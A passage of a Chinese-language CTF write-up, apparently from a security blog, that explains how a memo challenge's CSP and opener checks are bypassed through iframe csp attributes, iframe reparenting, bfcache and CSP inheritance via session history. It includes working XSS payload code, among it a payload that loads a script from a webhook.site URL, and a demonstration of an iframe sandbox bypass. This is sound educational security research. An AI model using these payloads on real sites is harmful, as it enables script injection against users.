class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其實題目本身的功能滿簡單，就是有一個 <code>/memo?memo=xxx</code> 的 API 可以設置 cookie，接著在訪問 index 的時候，會把內容放到 <code>srcdoc</code> 去，但最重要的是同個頁面上有一段 script：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">insertAdjacentHTML</span><span class="token punctuation">(</span>  <span class="token string">"beforeend"</span><span class="token punctuation">,</span>  \`<span class="token operator">&lt;</span>meta http<span class="token operator">-</span>equiv<span class="token operator">=</span><span class="token string">"Content-Security-Policy"</span> content<span class="token operator">=</span><span class="token string">"script-src 'none';"</span><span class="token operator">></span>\`<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>window<span class="token punctuation">.</span>opener <span class="token operator">!==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"has opener"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>主要會做兩件事情：</p><ol><li>加上 script-src none 的 CSP</li><li>如果有 opener，就把內容移除掉</li></ol><h2><span id="困難點">困難點</span></h2><p>先別管 opener 那個，那個比較好解決，難的是 CSP。</p><p>看完題目之後我的思考過程是這樣的，由於 <code>&lt;iframe srcdoc&gt;</code> 的 CSP 會繼承它的 parent，因此上層有的話，下層一定有，所以要想辦法把那個 CSP 弄掉，那既然要弄掉，我唯一能想到的就是透過 <code>&lt;iframe csp&gt;</code> 屬性先加上 CSP，就能阻止那段 script 的載入。</p><p>但由於這一題的內容是透過 cookie 帶入，所以會有 same-site cookie 的限制，在我們的 origin 是沒辦法插入 iframe 的，cookie 會有問題，因此一定要在題目的 origin 使用 <code>&lt;iframe csp&gt;</code>，除了這個以外，我想不到任何方式可以把 CSP 拿掉。</p><h2><span id="解法">解法</span></h2><p>之所以會說 opener 比較好解決，是因為之前就有看過類似的題目。</p><p>要如何讓 opener 是 null 有幾個方法，第一個類似於 <a href="https://blog.huli.tw/2022/10/08/sekaictf2022-safelist-and-connection/#obligatory-calc">SekaiCTF 2022 - Obligatory Calc</a> 中所出現過的，執行 <code>window.open</code> 之後就快速關閉自己，<code>opener</code> 就會是 null，這題的作者 icesfont 用的就是這個方法（如果是在 console 上測試，會發現執行以後什麼都不會發生，因為瀏覽器預設不能在沒有動作下就開啟新的 window，所以第二個 open 會被擋住）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> name</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">open</span><span class="token punctuation">(</span><span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    &lt;script>      open("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>url<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">", "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>name<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">");      window.close();    &lt;\/script>  </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"text/html"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>第二個方法我是在 Discord 裡面看到 Jazzy 提的，其實只要 open 之後自己把 opener 設成 null 就好：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> name</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> w <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> name<span class="token punctuation">)</span>  w<span class="token punctuation">.</span>opener <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>之所以可以這樣，是因為剛開啟之後會有一小段時間，開啟的 window 跟當前 window 是 same-origin，所以這一段時間是可以操作它的，接著才會被導到要前往的 URL。</p><p>雖然失去了 opener，表面上看起來跟開啟後的 window 脫節了，但其實利用 name 屬性就能夠再次存取到它，這點我以前有寫過：<a href="https://blog.huli.tw/2022/04/07/iframe-and-window-open/#windowopen">iframe 與 window.open 黑魔法</a>。</p><p>解決了 opener 的問題以後，就可以來看另一個最麻煩的地方，就是那一段 script，如果能讓它不執行，那很輕鬆就能做到 XSS。但要怎麼讓它不執行呢？以前有<a href="https://blog.huli.tw/2022/04/07/iframe-and-window-open/#iframe-%E7%9A%84-csp">寫過</a> iframe 上有個屬性叫做 csp，加上它之後就可以設置 CSP。</p><p>如同前面所說的，因為 same-site cookie，因此要直接利用題目的 memo 功能嵌入，程式碼如下（修改自 Jazzy 在 Discord 中提供的 payload）：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> challengeHost <span class="token operator">=</span> <span class="token string">'http://localhost:1337'</span>  <span class="token keyword">function</span> <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> name</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> w <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> name<span class="token punctuation">)</span>    w<span class="token punctuation">.</span>opener <span class="token operator">=</span> <span class="token keyword">null</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> html <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    html    &lt;script src="http://webhook.site/0fdd5e6d-0882-44de-b593-212aecf604c1">&lt;\/script>    &lt;iframe csp="script-src http: https:" src="/">&lt;/iframe>  </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>  <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>html<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token string">'main'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>利用 CSP 不讓 inline script 執行，然後再載入一次網頁，就會執行原本準備好的 script。不過我實際試了一下，現在最新版會有錯誤：</p><blockquote><p>Refused to display ‘<a href="http://localhost:1337/">http://localhost:1337/</a>‘ in a frame. The embedder requires it to enforce the following Content Security Policy: ‘script-src http: https:’. However, the frame neither accepts that policy using the Allow-CSP-From header nor delivers a Content Security Policy which is at least as strong as that one.</p></blockquote><p>如果頁面原本沒有 csp 的話，是沒辦法硬要加上去的。從賽後討論看起來比較舊版的 Chrome 對於 same-origin 的 csp 似乎限制沒這麼嚴格，因此只有在舊版可以（不過我也不確定就是了，我懶得找舊版來試了）。</p><p>接著講一下預期解，預期解牽涉到了很多 iframe 相關的知識，我陸續花了大概一週才真的理解到底預期解為什麼可以 work，為了方便理解，我把它拆成幾個小部分，順著看完應該就可以理解最後的預期解了。</p><h3><span id="1-iframe-的-navigation">1. iframe 的 navigation</span></h3><p>由於 iframe 是一個獨立的 window，因此 iframe 本身當然也可以做 navigation，導去其他的地方。假設在網頁上有一個 iframe，原本的 src 是 A，接著你把 src 改成 B，此時如果按下上一頁（或是執行 <code>history.back()</code>），會發生什麼事情呢？有兩個可能性：</p><ol><li>整個網頁（top level）回到上一頁</li><li>iframe 回到上一頁（從 B 回到 A）</li></ol><p>答案是 2，也就是說，當你在做 navigation 的時候，iframe 的紀錄也會被加進整體的 history 裡面。</p><p>知道這個前提之後，就可以來看一個狀況：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">sandbox</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">removeAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ol><li>先把 iframe 載入 test1，並且加上 sandbox，因此 script 不會執行</li><li>按下 loadTest2 按鈕，把 iframe sandbox 拿掉，導去 test2，因此 script 會執行</li></ol><p>此時如果按下 back 按鈕，理所當然的 iframe 會回到 test1，但是 sandbox 可能會有兩種狀況：</p><ol><li>sandbox 也一起回到載入 test1 時的狀況</li><li>sandbox 維持現在的屬性，也就是沒有 sandbox</li></ol><p>答案會是 2，sandbox 的屬性不會變，因此按下 back 之後，sandbox 沒了，test1 的 script 現在就可以執行了。</p><p>其實感覺也滿合理的，畢竟你只是改動 src 而已，沒有動 sandbox，因此 sandbox 維持在最新的狀態。</p><h3><span id="2-iframe-reparenting-與-bfcache">2. iframe reparenting 與 bfcache</span></h3><p>剛剛的狀況是更改 sandbox 並且載入新的 src 之後，回到上一頁。接下來我們再來看另一個狀況，前半段相同，但載入新的 src 之後，我們不直接回到上一頁，而是先把整個網頁跳轉到其他頁面，接著才回去：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">sandbox</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript">location <span class="token operator">=</span> <span class="token string">'a.html'</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span>  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">removeAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>測試流程是：</p><ol><li>等待 iframe 載入完畢，會在畫面上看到 test1，此時因為有 sandbox，所以 script 不會執行</li><li>按下 load test2 按鈕，把 sandbox 移除，載入 test2，script 被執行</li><li>按下 top level navigation，把網頁跳去其他地方</li><li>按下瀏覽器上的上一頁</li></ol><p>那按完上一頁之後，預期狀況會是什麼？會根據有沒有 bfcache，出現兩種結果，先看有 bfcache 的。</p><p>如果有 bfcache 的話，按完上一頁就會是剛剛一樣的狀態，可以觀察到：</p><ol><li>console 沒有出現 run，代表 script 不會重新被執行</li><li>iframe 的 src 是 test2</li><li>test2 的隨機數跟剛剛一樣，代表 iframe 中的 script 也沒有重新被執行</li></ol><p>畢竟叫做 bfcache 嘛，所以會完整保留剛剛的狀態，不會重新載入一次網頁。</p><p>那如果沒有 bfcache 呢？照理來說網頁應該要重新載入一次才對，所以預期的狀況會是最剛開始的樣子：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">sandbox</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>也就是一個 sandbox 的 iframe 載入 test1。</p><p>但如果實際按下上一頁，會發現結果是既不是一開始的 sandbox + test1，也不是剛才的 no sandbox + test2，而是兩者的混合體：sandbox + test2。</p><p>換句話說，sandbox 屬性維持了頁面最新的狀態，是有的，但是 iframe 的 src 卻不是最新的，而是留在歷史紀錄裡的 test2，兩者結合起來，就變成了 sandbox 的 test2。</p><p>這個「回到上一頁時，iframe 的 src 回到上次的內容」的機制，就叫做 iframe reparenting，似乎沒有對應的 spec 完整描述，而且各個瀏覽器的實作也都不太一樣。</p><p>這個行為大概就是：「我歷史紀錄裡有個被 iframe 載入的 page，現在你按了上一頁，為了增進使用者體驗，我要把這個 page 直接放回到 iframe 中」，但弔詭的是屬性卻不是沿用上次的，而是直接用了當前頁面的。</p><p>如果我們把流程反過來做，就是一種 iframe 的 sandbox bypass：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript">location <span class="token operator">=</span> <span class="token string">'a.html'</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span>  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我們先載入了安全的 test1，並且沒有 sandbox 屬性，接著我們想載入邪惡的 test2，因此加上了 sandbox 屬性，覺得這樣就沒問題了。</p><p>但殊不知如果你把網頁導去其他地方，回到上一頁之後，就會出現沒有 sandbox 的 test2。</p><p>總而言之呢，要記住的是，當你回到上一頁時：</p><ol><li>sandbox 屬性永遠跟著最新的頁面</li><li>src 會是上一次最後載入的網頁</li></ol><p>2025-10-10 更新：</p><p>Chrome 在 2025 年 9 月做了一個變更：<a href="https://developer.chrome.com/docs/web-platform/bfcache-ccns">Enabling bfcache for Cache-Control: no-store</a>，就算禁用 HTTP 快取也依然開啟 bfcache，導致上面的測試會失敗。</p><p>但只要依照文章內所說的，隨便建立一個 websocket 連線讓 bfcache 失效即可：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript">location <span class="token operator">=</span> <span class="token string">'a.html'</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token comment">// to disable bfcache</span>  <span class="token keyword">const</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebSocket</span><span class="token punctuation">(</span><span class="token string">'ws://example.com'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span>  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="3-csp-的繼承">3. CSP 的繼承</span></h3><p>如果是用 iframe src 的話，由於就是嵌入了另一個獨立的網頁，因此兩個網頁之間的 CSP 沒有任何關聯，不會互相影響。但如果是用 srcdoc 的話，就有繼承關係了。</p><p>以底下的程式碼為例：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none'<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Test:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>a.html<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>由於有著 <code>script-src &#39;none&#39;</code> 的 CSP，因此頁面上的 script 不會執行，然後 srcdoc 裡的 script 也不會執行，因為通常 iframe srcdoc 的 CSP 會繼承它的 parent，聽起來也很合理。</p><p>那接下來我們來試跟剛剛類似的事情：</p><ol><li>確認頁面上有 CSP</li><li>確認 srcdoc 的 script 無法執行</li><li>按下 top level navigation，去到別的頁面</li><li>更新檔案，把 head 裡的 CSP 刪掉（你要自己手動做）</li><li>按下上一頁</li></ol><p>一樣假設在沒有 bfcache 的狀況下，當我又回到這個網頁時，會是什麼狀況？預期中的行為應該是：「就跟第一次載入一樣」，因此頁面上的 script 跟 srcdoc 裡的 script 都沒有 CSP，都可以執行程式碼。</p><p>但答案是：</p><ol><li>頁面上確實沒有 CSP，所以 script 可以執行，有印出 run</li><li>但是 srcdoc 的 script 卻被 CSP 擋住了，無法執行</li></ol><p>也就是說，此時 iframe srcdoc 的 CSP 並不是繼承於當前頁面，而是繼承於 history 裡的結果，才會發生這種狀況。</p><p>用專有名詞來說的話，叫做 session history 以及 policy container，iframe 的 CSP 來自於 policy container，而這個 policy container 的儲存結果又與 session history 有關，但因為這兩個專有名詞我都沒有深入研究，因此就不多提了。</p><h3><span id="全部加在一起">全部加在一起</span></h3><p>綜合以上的幾點結果，我們知道了幾件事情，當你回到上一頁時：</p><ol><li>sandbox 屬性永遠跟著最新的頁面</li><li>src 會是上一次最後載入的網頁</li><li>srcdoc 的 CSP 會繼承上次的結果</li></ol><p>sandbox 的行為很顯然跟另外兩者不同，就只有它跟著最新的頁面，其他兩個都跟著上次的結果。</p><p>接著回顧一下題目的核心程式碼（檢查 opener 那個我先拿掉了，這樣比較好理解核心概念）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">  &lt;script>  document.head.insertAdjacentHTML(    "beforeend",    \`&lt;meta http-equiv="Content-Security-Policy" content="script-src 'none';">\`  );  &lt;/script>  &lt;iframe srcdoc="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">escape</span><span class="token punctuation">(</span>memo<span class="token punctuation">)</span><span class="token 